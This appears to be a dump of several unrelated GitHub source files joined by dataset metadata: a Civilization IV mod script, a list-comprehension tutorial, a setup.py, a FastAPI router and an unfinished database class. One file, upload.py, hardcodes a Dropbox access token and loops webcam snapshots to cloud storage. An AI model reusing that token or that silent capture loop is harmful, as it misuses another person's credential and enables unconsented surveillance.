911:\r\n\t\tpass\r\n\r\n\t# Humanitarian (Doctor)\r\n\telif iData1 == 912:\r\n\t\tfor iPlayerX in xrange(gc.getMAX_CIV_PLAYERS()):\r\n\t\t\tpPlayerX = gc.getPlayer(iPlayerX)\r\n\t\t\tiTeamX = pPlayerX.getTeam()\r\n\t\t\tif pPlayerX.isAlive() and pTeam.isHasMet(pPlayerX.getTeam()) and iTeamX != iTeam:\r\n\t\t\t\tpPlayerX.AI_changeAttitudeExtra(iPlayer, 1)\r\n\r\n\t# Resupply (Engineer)\r\n\telif iData1 == 921:\r\n\t\t(loopUnit, iter) = pPlayer.firstUnit(False)\r\n\t\twhile(loopUnit):\r\n\t\t\tloopUnit.setMadeAttack(False)\r\n\t\t\tloopUnit.setMoves(0)\r\n\t\t\t(loopUnit, iter) = pPlayer.nextUnit(iter, False)\r\n\r\n\t# Expedition (Merchant)\r\n\telif iData1 == 931:\r\n\t\tpass\r\n\r\n\t# Pilgrimage (Prophet)\r\n\telif iData1 == 941:\r\n\t\tpass\r\n\r\n\t# Mediation (Prophet)\r\n\telif iData1 == 942:\r\n\t\tfor iPlayerX in xrange(gc.getMAX_CIV_PLAYERS()):\r\n\t\t\tpPlayerX = gc.getPlayer(iPlayerX)\r\n\t\t\tiTeamX = pPlayerX.getTeam()\r\n\t\t\tif pPlayerX.isAlive() and pTeam.isHasMet(pPlayerX.getTeam()) and iTeamX != iTeam:\r\n\t\t\t\tpPlayerX.forcePeace(iPlayer)\r\n\r\n\r\n\t# Encyclopedia (Scientist)\r\n\telif iData1 == 951:\r\n\t\tfor iTech in xrange(gc.getNumTechInfos()):\r\n\t\t\tif pTeam.isHasTech(iTech):\r\n\t\t\t\tcontinue\r\n\t\t\tiResearch = min(pTeam.getResearchCost(iTech) / 5, pTeam.getResearchLeft(iTech))\r\n\t\t\tfor iTeamX in xrange(gc.getMAX_CIV_TEAMS()):\r\n\t\t\t\tpTeamX = gc.getTeam(iTeamX)\r\n\t\t\t\tif pTeam.isHasMet(iTeamX) and pTeamX.isAlive():\r\n\t\t\t\t\tif pTeamX.isHasTech(iTech):\r\n\t\t\t\t\t\tpTeam.changeResearchProgress(iTech, iResearch, iPlayer)\r\n\t\t\t\t\t\tbreak\r\n\r\n\t# Mystery (Scientist)\r\n\telif iData1 == 952:\r\n\t\tpass\r\n\r\n\r\n\t# Coup (Spy)\r\n\telif iData1 == 961:\r\n\t\tpass\r\n\r\n\t# Rally (General)\r\n\telif iData1 == 971:\r\n\t\tpass\r\n\r\n\r\n\r\n### POLLUTION\r\n\r\ndef hasPollution(pPlot):\r\n\t'Returns true if tile is polluted'\r\n\tiFeature = pPlot.getFeatureType()\r\n\tif iFeature > -1:\r\n\t\tif gc.getFeatureInfo(iFeature).getType().startswith('FEATURE_POLLUTION'):\r\n\t\t\treturn True\r\n\treturn False\r\n\r\n\r\n\r\ndef addPollution(pPlot):\r\n\t'Adds the appropriate type of pollution to a tile'\r\n\tiFeature = pPlot.getFeatureType()\r\n\tif iFeature == gc.getInfoTypeForString('FEATURE_FLOOD_PLAINS'):\r\n\t\tpPlot.setFeatureType(gc.getInfoTypeForString('FEATURE_POLLUTION_FLOOD_PLAINS'), 1)\r\n\telif iFeature == gc.getInfoTypeForString('FEATURE_FOREST') or iFeature == gc.getInfoTypeForString('FEATURE_JUNGLE') or iFeature == gc.getInfoTypeForString('FEATURE_SAVANNAH'):\r\n\t\tlNearbyCities = listCitiesInRange(pPlot.getX(), pPlot.getY())\r\n\t\tif len(lNearbyCities) > 0:\r\n\t\t\tfor pCity in lNearbyCities:\r\n\t\t\t\tif pCity.getOwner() == pPlot.getOwner():\r\n\t\t\t\t\tdoChopping(pPlot, pCity, True)\r\n\t\t\t\t\tbreak\r\n\t\tpPlot.setFeatureType(gc.getInfoTypeForString('FEATURE_POLLUTION'), 1)\r\n\r\n\telse:\r\n\t\tpPlot.setFeatureType(gc.getInfoTypeForString('FEATURE_POLLUTION'), 1)\r\n\r\n\r\n\r\ndef removePollution(pPlot):\r\n\t'Removes pollution and restores a tile appropriately'\r\n\tiFeature = pPlot.getFeatureType()\r\n\tif iFeature == gc.getInfoTypeForString('FEATURE_POLLUTION_FLOOD_PLAINS'):\r\n\t\tpPlot.setFeatureType(gc.getInfoTypeForString('FEATURE_FLOOD_PLAINS'), 1)\r\n\telse:\r\n\t\tpPlot.setFeatureType(-1, 1)\r\n\r\n\r\n\r\n### TERRAIN\r\n\r\ndef doChopping(pPlot, pCity, bForce):\r\n\t'Adds production from chopping to a city'\r\n\tiPlayer = pCity.getOwner()\r\n\tpPlayer = gc.getPlayer(iPlayer)\r\n\tiFeature = pPlot.getFeatureType()\r\n\tlFeature = [gc.getInfoTypeForString('FEATURE_FOREST'), gc.getInfoTypeForString('FEATURE_JUNGLE'), gc.getInfoTypeForString('FEATURE_SAVANNAH')]\r\n\tlBuild = [gc.getInfoTypeForString('BUILD_REMOVE_FOREST'), gc.getInfoTypeForString('BUILD_REMOVE_JUNGLE'), gc.getInfoTypeForString('BUILD_REMOVE_SAVANNAH')]\r\n\tiProduction = 0\r\n\tiBaseProduction = 0\r\n\r\n\tfor i in xrange(len(lFeature)):\r\n\t\tif lFeature[i] == iFeature:\r\n\t\t\tiBuild = lBuild[i]\r\n\t\t\tiBaseProduction = pPlot.getFeatureProduction(iBuild, pPlayer.getTeam(), pCity)\r\n\t\t\tbreak\r\n\r\n\tif iBaseProduction > 0:\r\n\t\tif bForce:\r\n\t\t\tiProduction += iBaseProduction\r\n\r\n\t\t# Extra chop production from civic\r\n\t\tif pPlayer.isCivic(Civic.ChoppingModifier[0]):\r\n\t\t\tiProduction += (iBaseProduction * Civic.ChoppingModifier[1] / 100)\r\n\r\n\t\t# Extra production if a Prime Timber resource is also chopped\r\n\t\tif pPlot.getBonusType(-1) == gc.getInfoTypeForString('BONUS_TIMBER'):\r\n\t\t\tpPlot.setBonusType(-1)\r\n\t\t\tiProduction += iBaseProduction\r\n\t\t\tif pPlayer.isCivic(Civic.ChoppingModifier[0]):\r\n\t\t\t\tiProduction += (iBaseProduction * Civic.ChoppingModifier[1] / 100)\r\n\r\n\t\t\tBonusInfo = gc.getBonusInfo(gc.getInfoTypeForString('BONUS_TIMBER'))\r\n\t\t\tfor iPlayerX in xrange (gc.getMAX_CIV_PLAYERS()):\r\n\t\t\t\tif iPlayerX != iPlayer:\r\n\t\t\t\t\tpPlayerX = gc.getPlayer(iPlayerX)\r\n\t\t\t\t\tif pPlot.isVisible(pPlayerX.getTeam(), False):\r\n\t\t\t\t\t\tCyInterface().addMessage(iPlayerX, True, gc.getEVENT_MESSAGE_TIME(), CyTranslator().getText(\"TXT_KEY_MESSAGE_BONUS_DESTROYED\", (BonusInfo.getDescription(),)), \"\", 0, BonusInfo.getButton(), gc.getInfoTypeForString(\"COLOR_WARNING_TEXT\"), pPlot.getX(), pPlot.getY(), True, True)\r\n\r\n\tif iProduction > 0:\r\n\t\tsFeature = gc.getFeatureInfo(iFeature).getDescription()\r\n\t\tpCity.setFeatureProduction(iProduction + pCity.getFeatureProduction())\r\n\t\tCyInterface().addMessage(iPlayer, True, gc.getEVENT_MESSAGE_TIME(), CyTranslator().getText(\"TXT_KEY_MISC_CLEARING_FEATURE_BONUS\", (sFeature, iProduction, pCity.getName())), \"\", 0, \"\", -1, -1, -1, False, False)\r\n\r\n\r\n\r\n### UTILITIES\r\n\r\ndef getAdvisorString(iBuilding):\r\n\t''\r\n\tiAdvisor = gc.getBuildingInfo(iBuilding).getAdvisorType()\r\n\r\n\tif iAdvisor == 0:\r\n\t\treturn \"Military\"\r\n\telif iAdvisor == 1:\r\n\t\treturn \"Religious\"\r\n\telif iAdvisor == 2:\r\n\t\treturn \"Economy\"\r\n\telif iAdvisor == 3:\r\n\t\treturn \"Science\"\r\n\telif iAdvisor == 4:\r\n\t\treturn \"Culture\"\r\n\telif iAdvisor == 5:\r\n\t\treturn \"Growth\"\r\n\r\n\treturn \"\"\r\n\r\n\r\n\r\ndef getPlayerBuilding(pPlayer, iBuildingClass):\r\n\t''\r\n\tiCivilization = pPlayer.getCivilizationType()\r\n\tif iCivilization == -1:\r\n\t\treturn -1\r\n\r\n\tiBuilding = gc.getCivilizationInfo(iCivilization).getCivilizationBuildings(iBuildingClass)\r\n\tif iBuilding == -1:\r\n\t\tiBuilding = gc.getBuildingClassInfo(iBuildingClass).getDefaultBuildingIndex()\r\n\r\n\treturn iBuilding\r\n\r\n\r\n\r\ndef getPlayerUnit(pPlayer, iUnitClass):\r\n\t''\r\n\tiCivilization = pPlayer.getCivilizationType()\r\n\tif iCivilization == -1:\r\n\t\treturn -1\r\n\r\n\tiUnit = gc.getCivilizationInfo(iCivilization).getCivilizationUnits(iUnitClass)\r\n\tif iUnit == -1:\r\n\t\tiUnit = gc.getUnitClassInfo(iUnitClass).getDefaultUnitIndex()\r\n\r\n\treturn iUnit\r\n\r\n\r\n\r\ndef getUnitCategory(iUnit):\r\n\t'0 = Unit'\r\n\t'1 = Military Unit'\r\n\t'2 = Unique Unit'\r\n\r\n\tUnitInfo = gc.getUnitInfo(iUnit)\r\n\tUnitClassInfo = gc.getUnitClassInfo(UnitInfo.getUnitClassType())\r\n\tiDefaultUnit = UnitClassInfo.getDefaultUnitIndex()\r\n\r\n\tif UnitInfo.isGraphicalOnly():\r\n\t\treturn -1\r\n\telif iDefaultUnit > -1 and iDefaultUnit != iUnit:\r\n\t\treturn 2\r\n\telif UnitInfo.getCombat() > 0 or UnitInfo.getAirCombat() > 0 or UnitInfo.isSuicide():\r\n\t\tif not UnitInfo.isAnimal() and not UnitInfo.isFound():\r\n\t\t\treturn 1\r\n\r\n\treturn 0\r\n\r\n\r\n\r\ndef getBuildingCategory(iBuilding):\r\n\t'0 = Building'\r\n\t'1 = Unique Building'\r\n\t'2 = Religious Building'\r\n\t'3 = Religious Wonder'\r\n\t'4 = National Wonder'\r\n\t'5 = Unique Wonder'\r\n\t'6 = World Wonder'\r\n\t'7 = Natural Wonder'\r\n\t'8 = Corporate Headquarters'\r\n\r\n\tBuildingInfo = gc.getBuildingInfo(iBuilding)\r\n\tif BuildingInfo.getType().find(\"_NATURAL_WONDER_\") > 0:\r\n\t\treturn 7\r\n\telif BuildingInfo.getArtDefineTag() == \"ART_DEF_BUILDING_FAKE\" or BuildingInfo.isGraphicalOnly():\r\n\t\treturn -1\r\n\telif BuildingInfo.getReligionType() > -1:\r\n\t\tif isWorldWonderClass(BuildingInfo.getBuildingClassType()):\r\n\t\t\treturn 3\r\n\t\telse:\r\n\t\t\treturn 2\r\n\telif BuildingInfo.getFoundsCorporation() > -1:\r\n\t\treturn 8\r\n\telif isWorldWonderClass(BuildingInfo.getBuildingClassType()):\r\n\t\treturn 6\r\n\telse:\r\n\t\tiBuildingClass = BuildingInfo.getBuildingClassType()\r\n\t\tiDefaultBuilding = gc.getBuildingClassInfo(iBuildingClass).getDefaultBuildingIndex()\r\n\t\tif isNationalWonderClass(iBuildingClass):\r\n\t\t\tif iDefaultBuilding > -1 and iDefaultBuilding != iBuilding:\r\n\t\t\t\treturn 5\r\n\t\t\telse:\r\n\t\t\t\treturn 4\r\n\t\telse:\r\n\t\t\tif iDefaultBuilding > -1 and iDefaultBuilding != iBuilding:\r\n\t\t\t\treturn 1\r\n\t\t\telse:\r\n\t\t\t\treturn 0\r\n\r\n\r\n\r\ndef getBuildingHelp(iBuilding, bCivilopedia, pCity):\r\n\t''\r\n\tBuildingInfo = gc.getBuildingInfo(iBuilding)\r\n\tszHelp = CyGameTextMgr().getBuildingHelp(iBuilding, bCivilopedia, False, False, pCity)\r\n\tPrefixList = []\r\n\tSuffixList = []\r\n\r\n\t# Dissent\r\n\tiBuildingClass = BuildingInfo.getBuildingClassType()\r\n\tif iBuildingClass in CivilWar.CivilWar().BuildingClassModifiers.keys():\r\n\t\tPrefixList.append(CyTranslator().getText(\"TXT_KEY_BUILDING_DISSENT_MODIFIER\", (CivilWar.CivilWar().BuildingClassModifiers[iBuildingClass], )))\r\n\telif iBuilding in CivilWar.CivilWar().BuildingModifiers.keys():\r\n\t\tPrefixList.append(CyTranslator().getText(\"TXT_KEY_BUILDING_DISSENT_MODIFIER\", (CivilWar.CivilWar().BuildingModifiers[iBuilding], )))\r\n\r\n\t# Religious Dissent\r\n\tiModifier = 0\r\n\tiReligion = BuildingInfo.getReligionType()\r\n\tif iReligion > -1:\r\n\t\tif BuildingInfo.getSpecialBuildingType() == gc.getInfoTypeForString('SPECIALBUILDING_GREAT_TEMPLE'):\r\n\t\t\tiModifier = CivilWar.CivilWar().iGreatTempleDissentModifier\r\n\t\telif BuildingInfo.getReligionChange(iReligion) > 0:\r\n\t\t\tiModifier = CivilWar.CivilWar().iShrineDissentModifier\r\n\r\n\t\tif iModifier != 0:\r\n\t\t\tszReligiousDissentModifier = u\"%c%d%% Dissent from %c in all Cities\" % (CyGame().getSymbolID(FontSymbols.BULLET_CHAR), iModifier, gc.getReligionInfo(iReligion).getChar())\r\n\t\t\tSuffixList.append(szReligiousDissentModifier)\r\n\r\n\t# Faith / GPP\r\n\tif bCivilopedia:\r\n\t\tif BuildingInfo.getGreatPeopleRateChange() != 0:\r\n\t\t\tszUnit = gc.getUnitClassInfo(BuildingInfo.getGreatPeopleUnitClass()).getDescription()\r\n\t\t\toldString = \"City more likely to generate \" + szUnit + \"\"\r\n\t\t\tif BuildingInfo.getGreatPeopleUnitClass() == gc.getInfoTypeForString('UNITCLASS_PROPHET'):\r\n\t\t\t\tiReligion = BuildingInfo.getPrereqReligion()\r\n\t\t\t\tif iReligion > -1:\r\n\t\t\t\t\tnewString = u\"+%d%c (%c%s)\" % (BuildingInfo.getGreatPeopleRateChange(), CyGame().getSymbolID(FontSymbols.RELIGION_CHAR), gc.getReligionInfo(iReligion).getChar(), gc.getReligionInfo(iReligion).getDescription())\r\n\t\t\t\telse:\r\n\t\t\t\t\tnewString = u\"+%d%c (%s)\" % (BuildingInfo.getGreatPeopleRateChange(), CyGame().getSymbolID(FontSymbols.RELIGION_CHAR), szUnit)\r\n\t\t\telse:\r\n\t\t\t\tnewString = u\"+%d%c (%s)\" % (BuildingInfo.getGreatPeopleRateChange(), CyGame().getSymbolID(FontSymbols.GREAT_PEOPLE_CHAR), szUnit)\r\n\r\n\t\t\tszHelp = szHelp.replace(oldString, newString)\r\n\r\n\telif szHelp.find(\"Great Prophet\") > - 1:\r\n\t\tszHelp = szHelp.replace(u\"%c (Great Prophet)\" % CyGame().getSymbolID(FontSymbols.GREAT_PEOPLE_CHAR), u\"%c (Great Prophet)\" % CyGame().getSymbolID(FontSymbols.RELIGION_CHAR))\r\n\r\n\t# Temple Requirements\r\n\tiReligion = BuildingInfo.getPrereqReligion()\r\n\tif iReligion > -1:\r\n\t\tif BuildingInfo.getType().find(\"_GREAT_TEMPLE_\") > 0:\r\n\t\t\tnRequired = HR_Religion.NumTemplesRequiredForGreatTemple\r\n\t\t\tnRequired += (HR_Religion.NumTemplesRequiredForGreatTemple * gc.getWorldInfo(CyMap().getWorldSize()).getBuildingClassPrereqModifier() / 100)\r\n\t\t\tiTemple = HR_Religion.getReligionTemple(iReligion)\r\n\t\t\tszRequire = u\"Requires %s (%d Total)\" % (gc.getBuildingInfo(iTemple).getDescription(), nRequired)\r\n\t\t\tszRequire = CyTranslator().changeTextColor(szRequire, gc.getInfoTypeForString(\"COLOR_NEGATIVE_TEXT\"))\r\n\t\t\tSuffixList.append(szRequire)\r\n\r\n\t\telif BuildingInfo.getType().find(\"_MONASTERY_\") > 0:\r\n\t\t\tnRequired = HR_Religion.NumTemplesRequiredForMonastery\r\n\t\t\tnRequired += (HR_Religion.NumTemplesRequiredForMonastery * gc.getWorldInfo(CyMap().getWorldSize()).getBuildingClassPrereqModifier() / 100)\r\n\t\t\tiTemple = HR_Religion.getReligionTemple(iReligion)\r\n\t\t\tszRequire = u\"Requires %s (%d Total)\" % (gc.getBuildingInfo(iTemple).getDescription(), nRequired)\r\n\t\t\tszRequire = CyTranslator().changeTextColor(szRequire, gc.getInfoTypeForString(\"COLOR_NEGATIVE_TEXT\"))\r\n\t\t\tSuffixList.append(szRequire)\r\n\r\n\t# Description Prefix\r\n\tif len(PrefixList) > 0:\r\n\t\tszPrefix = \"\"\r\n\t\tszSearch = \"Allowed)\"\r\n\t\tiPos = szHelp.find(szSearch)\r\n\t\tif iPos > -1:\r\n\t\t\tiPos += len(szSearch) + 1\r\n\t\telse:\r\n\t\t\tiPos = szHelp.find(u\"%c\" % CyGame().getSymbolID(FontSymbols.BULLET_CHAR))\r\n\r\n\t\tfor prefix in PrefixList:\r\n\t\t\tszPrefix += prefix\r\n\t\t\tif prefix != PrefixList[-1]:\r\n\t\t\t\tszPrefix += \"\\n\"\r\n\r\n\t\tif iPos > -1:\r\n\t\t\tszHelp = szHelp[:iPos] + szPrefix + \"\\n\" + szHelp[iPos:]\r\n\t\telse:\r\n\t\t\tszHelp = szPrefix + \"\\n\" + szHelp\r\n\r\n\t# Description Suffix\r\n\tif len(SuffixList) > 0:\r\n\t\tszSuffix = \"\"\r\n\t\tiPos = szHelp.find(\"\")\r\n\t\tif iPos == -1:\r\n\t\t\tszSearch = str(BuildingInfo.getProductionCost()) + u\"%c\" % gc.getYieldInfo(YieldTypes.YIELD_PRODUCTION).getChar()\r\n\t\t\tiPos = szHelp.find(szSearch)\r\n\r\n\t\tfor suffix in SuffixList:\r\n\t\t\tszSuffix += suffix\r\n\t\t\tif suffix != SuffixList[-1]:\r\n\t\t\t\tszSuffix += \"\\n\"\r\n\r\n\t\tif iPos > -1:\r\n\t\t\tszHelp = szHelp[:iPos] + szSuffix + \"\\n\" + szHelp[iPos:]\r\n\t\telse:\r\n\t\t\tszHelp += \"\\n\" + szSuffix\r\n\r\n\treturn szHelp\r\n\r\n\r\n\r\ndef getNationalWonderLimit(pCity):\r\n\t'Returns the maximum number of National Wonders for this city'\r\n\tif CyGame().isOption(GameOptionTypes.GAMEOPTION_ONE_CITY_CHALLENGE):\r\n\t\tif gc.getPlayer(pCity.getOwner()).isHuman():\r\n\t\t\tiLimit = gc.getDefineINT('MAX_NATIONAL_WONDERS_PER_CITY_FOR_OCC')\r\n\telse:\r\n\t\tiLimit = gc.getDefineINT('MAX_NATIONAL_WONDERS_PER_CITY')\r\n\t\tif pCity.isCapital():\r\n\t\t\tiLimit += 1\r\n\r\n\treturn iLimit\r\n\r\n\r\n\r\ndef getWorldWonderLimit(pCity):\r\n\t'Returns the maximum number of World Wonders for this city (-1 = No Limit)'\r\n\tif CyGame().isOption(GameOptionTypes.GAMEOPTION_ONE_CITY_CHALLENGE):\r\n\t\tiLimit = -1\r\n\telse:\r\n\t\tiLimit = WorldWonderLimits[pCity.getCultureLevel()]\r\n\r\n\treturn iLimit\r\n\r\n\r\n\r\ndef getRandomCity(pPlayer):\r\n\t''\r\n\tCityList = []\r\n\t(loopCity, iter) = pPlayer.firstCity(False)\r\n\twhile(loopCity):\r\n\t\tCityList.append(loopCity)\r\n\t\t(loopCity, iter) = pPlayer.nextCity(iter, False)\r\n\r\n\tif CityList != []:\r\n\t\tpCity = CityList[CyGame().getSorenRandNum(len(CityList), \"Random City\")]\r\n\t\treturn pCity\r\n\r\n\treturn None\r\n\r\n\r\n\r\ndef listCitiesInRange(iX, iY):\r\n\t'Returns a list of all cities within workable distance of a tile'\r\n\tlCities = []\r\n\tfor x in xrange(5):\r\n\t\tfor y in xrange(5):\r\n\t\t\tloopPlot = gc.getMap().plot(iX - 2 + x, iY - 2 + y)\r\n\t\t\tif not loopPlot.isNone():\r\n\t\t\t\tif loopPlot.isCity():\r\n\t\t\t\t\tpCity = loopPlot.getPlotCity()\r\n\t\t\t\t\tif pCity.canWork(loopPlot):\r\n\t\t\t\t\t\tlCities.append(pCity)\r\n\treturn lCities\r\n\r\n\r\n\r\ndef encodeCity(pCity):\r\n\t'Covert city coordinates into a single integer'\r\n\t'Useful for passing a city instance via a widget'\r\n\tiCityXY = (pCity.getX() * 1000) + pCity.getY()\r\n\treturn iCityXY\r\n\r\n\r\n\r\ndef decodeCity(iCityXY):\r\n\t'Convert coded integer into city instance'\r\n\t'Useful for passing a city instance via a widget'\r\n\tpCity = None\r\n\tpPlot = CyMap().plot(iCityXY / 1000, iCityXY % 1000)\r\n\tif not pPlot.isNone():\r\n\t\tif pPlot.isCity():\r\n\t\t\tpCity = pPlot.getPlotCity()\r\n\r\n\treturn pCity","repo_name":"onurkulak/history-rewritten-balance-modmod","sub_path":"Assets/Python/HR.py","file_name":"HR.py","file_ext":"py","file_size_in_byte":47891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71915475609","text":"\"\"\"\nare used for creating new lists from other iterables like tuples, strings, arrays, lists, etc\nlist comprehension consists of brackets containing the expression, which is executed for each count_item along with the for loop to iterate over each count_item.\n\nnewList = [ expression(count_item) for count_item in iterable(if/for) ]\n\"\"\"\n\n\n\n'''\n(values) = [ (expression) for (value) in (collection) ]\n\nalues = []\nfor (value) in (collection):\n values.append(expression) \n'''\n\n# For loop\nsqr_list1 = []\nfor i in range(5):\n sqr_list1.append( i * i )\nprint(sqr_list1)\n\n# List Comprehension\nsqr_list2 = [i * i for i in range(5)] # gives square numbers from 0-4\nprint(sqr_list2)\n\n\n\n# ------------------------------------------------------------------------------\n'''\n(values) = [ (expression) for (value) in (collection) if (condition) ]\n\nvalues = []\nfor (value) in (collection):\n if (condition):\n values.append(expression) \n'''\n\n# For loop\neven_sqrs = []\nfor x in range(10):\n if x % 2 == 0:\n even_sqrs.append( x * x )\nprint(even_sqrs)\n\n# List Comprehension\nevn_sqr = [(x * x) for x in range(10) if (x % 2 == 0)]\nprint(evn_sqr)\n\nevnsqr = [(x * x)\n for x in range(10)\n if (x % 2 == 0)] # Good practice\nprint(evnsqr)\n\n\n\n# ------------------------------------------------\n\nnum = [4, 52, 6, 17, 8, 92, 130, 11, 2, 13, 4]\n\ndd = []\nfor i in num:\n if i < 100 and i >= 20:\n dd.append(i)\nprint(dd)\n\n\nddd = list(filter(lambda i: i < 100 and i >= 20, num))\nprint(ddd)\n\n\ndddd = [i for i in num if (i < 100 and i >= 20)]\nprint(dddd)\n","repo_name":"oboniA/Data-Structure-and-Algorithms","sub_path":"LIST/list_comprehension.py","file_name":"list_comprehension.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72683865688","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"The setup script.\"\"\"\n\nfrom setuptools import setup, find_packages\n\nwith open('README.md') as readme_file:\n readme = readme_file.read()\n\nsetup_requirements = ['pytest-runner']\n\nsetup(\n author=\"ratschlab\",\n author_email='grlab@ratschlab.org',\n classifiers=[\n 'Development Status :: 2 - Pre-Alpha',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Natural Language :: English',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9',\n ],\n description=\"This project aim is to build a benchmark for ICU related tasks.\",\n entry_points={\n \"console_scripts\": ['icu-benchmarks = icu_benchmarks.run:main']\n },\n install_requires=[], # dependencies managed via conda for the moment\n license=\"MIT license\",\n long_description=readme,\n include_package_data=True,\n keywords='icu_benchmarks',\n name='icu_benchmarks',\n packages=find_packages(include=['icu_benchmarks']),\n setup_requires=setup_requirements,\n test_suite='tests',\n tests_require=[],\n url='https://github.com/ratschlab/HIRID-ICU-Benchmark',\n version='1.0.0',\n zip_safe=False,\n)\n","repo_name":"ratschlab/HIRID-ICU-Benchmark","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"31"} +{"seq_id":"12784053428","text":"import cv2\r\nimport time\r\nimport random\r\nimport dropbox\r\n\r\nstat_time = time.time()\r\n# print(stat_time)\r\n\r\ndef takepic():\r\n number = random.randint(1,100)\r\n video = cv2.VideoCapture(0)\r\n time.sleep(3)\r\n dummy,frame=video.read()\r\n print(dummy)\r\n if dummy == True:\r\n imageName = \"image\"+str(number)+\".png\"\r\n cv2.imwrite(imageName, frame)\r\n stat_time = time.time()\r\n return imageName\r\n else: \r\n cv2.waitKey(0)\r\n video.release()\r\n cv2.destroyAllWindows()\r\n\r\ndef upload(imageName):\r\n myToken = \"sl.BAQPRnXqzj8QHDUw2uLSbG08GstU2xFsNI1ZcSWMis0DRAidPZnddtvTsrWnz5UZamDMWEjYtNL59LSe9L_FVINT-vAKLfvbiANuNtrrkdmfGsEhulEV3BHTDPZEgU-8uJ7ko5Y\"\r\n filefrom=imageName\r\n fileTo = \"/snapshot/\" + imageName\r\n box = dropbox.Dropbox(myToken)\r\n f = open(filefrom, \"rb\")\r\n box.files_upload(f.read(), fileTo, mode= dropbox.files.WriteMode.overwrite)\r\n print(\"file uploaded\")\r\n\r\n\r\ndef main():\r\n while(True):\r\n if(time.time() - stat_time >= 5):\r\n name = takepic()\r\n upload(name)\r\n\r\nmain()\r\n\r\n","repo_name":"Yuvkaran26/Class---102","sub_path":"upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1011663939","text":"from fastapi import Request, Form\nfrom fastapi.responses import RedirectResponse\nfrom routers.router import Router\n\n\nclass AppManagerRouter(Router):\n\n def __init__(self, utils):\n super().__init__(utils, '/manager')\n\n def methods(self):\n\n @self.router.get('/')\n async def manager(request: Request):\n token = request.query_params.get('token')\n check = self.check_app_token(token, self.permissions.get('app.manager_page'), 'Access Manager Page')\n if isinstance(check, RedirectResponse):\n return check\n\n current_squeeze = self.database.get_current_squeeze_id()\n\n return self.template_response('manager.html', request, {'current_squeeze': current_squeeze}, token)\n\n @self.router.post('/addsqueeze')\n async def process_add_squeeze(request: Request):\n token = request.query_params.get('token')\n check = self.check_app_token(token, self.permissions.get('app.manager_page'), 'Add Squeeze (from Manager Page)')\n if isinstance(check, RedirectResponse):\n return check\n\n self.database.add_squeeze(0, 0)\n return self.redirect_response('/manager', [(self.messages.get('app.manager.squeeze_created'), 'success-message')], {'token': token})\n\n @self.router.post('/removesqueeze')\n async def process_remove_squeeze(request: Request, id: int = Form(...)):\n token = request.query_params.get('token')\n check = self.check_app_token(token, self.permissions.get('app.manager_page'), 'Remove Squeeze (from Manager Page)')\n if isinstance(check, RedirectResponse):\n return check\n\n if self.database.remove_squeeze(id):\n return self.redirect_response('/manager', [(self.messages.get('app.manager.squeeze_removed').format(id=id), 'success-message')], {'token': token})\n else:\n return self.redirect_response('/manager', [(self.messages.get('app.manager.squeeze_not_found').format(id=id), 'error-message')], {'token': token})\n\n @self.router.post('/updatesqueeze')\n async def process_update_squeeze(request: Request, id: int = Form(...), used_apples: int = Form(...), produced_juice: int = Form(...)):\n token = request.query_params.get('token')\n check = self.check_app_token(token, self.permissions.get('app.manager_page'), 'Update Squeeze (from Manager Page)')\n if isinstance(check, RedirectResponse):\n return check\n\n squeeze = self.database.get_squeeze(id)\n if not squeeze:\n return self.redirect_response('/manager', [(self.messages.get('app.manager.squeeze_not_found').format(id=id), 'error-message')], {'token': token})\n\n messages = []\n\n if used_apples != 0:\n given_apples = self.database.get_total_value('given_apples')\n if self.database.get_total_value('used_apples') + used_apples <= given_apples:\n old_used_apples = squeeze['used_apples']\n self.database.update_squeeze_used_apples(id, old_used_apples + used_apples)\n messages.append((self.messages.get('app.manager.squeeze_used_apples_updated').format(id=id, used_apples=used_apples), 'success-message'))\n else:\n messages.append((self.messages.get('app.manager.too_many_used_apples').format(given_apples=given_apples), 'error-message'))\n\n if produced_juice != 0:\n old_produced_juice = squeeze['juice']\n self.database.update_squeeze_juice(id, old_produced_juice + produced_juice)\n messages.append((self.messages.get('app.manager.squeeze_produced_juice_updated').format(id=id, produced_juice=produced_juice), 'success-message'))\n\n return self.redirect_response('/manager', messages, {'token': token})\n","repo_name":"Bidulman/bidoyon-plus","sub_path":"routers/app/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":3927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13371514459","text":"#!/usr/bin/python\n\nimport db_util\n\nclass Agency:\n\t\"\"\"Agency\"\"\"\n\n\t_name=\"\"\n\t_capture_date_time=\"\"\n\t_cr_date=\"\"\n\t_db_util=None\n\n\tdef __init__(self,name=\"\",capture_date_time=\"\",cr_date=\"\"):\n\t\tself._name=name\n\t\tself._capture_date_time=capture_date_time\n\t\tself._cr_date = cr_date\n\n\tdef upd_proc(self):\n\t\tif self._db_util == None:\n\t\t\tself._db_util = db_util.DB_Util()\n\n\t\tif self._db_util.connect() < 0:\n\t\t\treturn -1\n\n\t\targs=[self._name,self._capture_date_time]\n\n\t\tresult = self._db_util.callproc(\"pUpdAgency\", args)\n\n\t\tself._db_util.close()\n\n\t\tstatus = result[0]\n\t\tagency_id = result[1]\n\n\t\tprint (\"Updated/Inserted agency : \" +str(agency_id))\n\n\t\treturn [status, agency_id]\n\n\n\tdef select(self,addr_id):\n\t\tif self._db_util == None:\n\t\t\tself._db_util = db_util.DB_Util()\n\n\t\tif self._db_util.connect() < 0:\n\t\t\treturn -1\n\n\t\targs=(addr_id)\n\n\t\tcursor = self._db_util.qry(self._select_qry, args)\n\n\t\tfor (street_no,street_name,locality,region,postcode,cr_date) in cursor:\n\t\t print(\"{} , {} , {}, {}, {}, {}\".format(\n\t\t 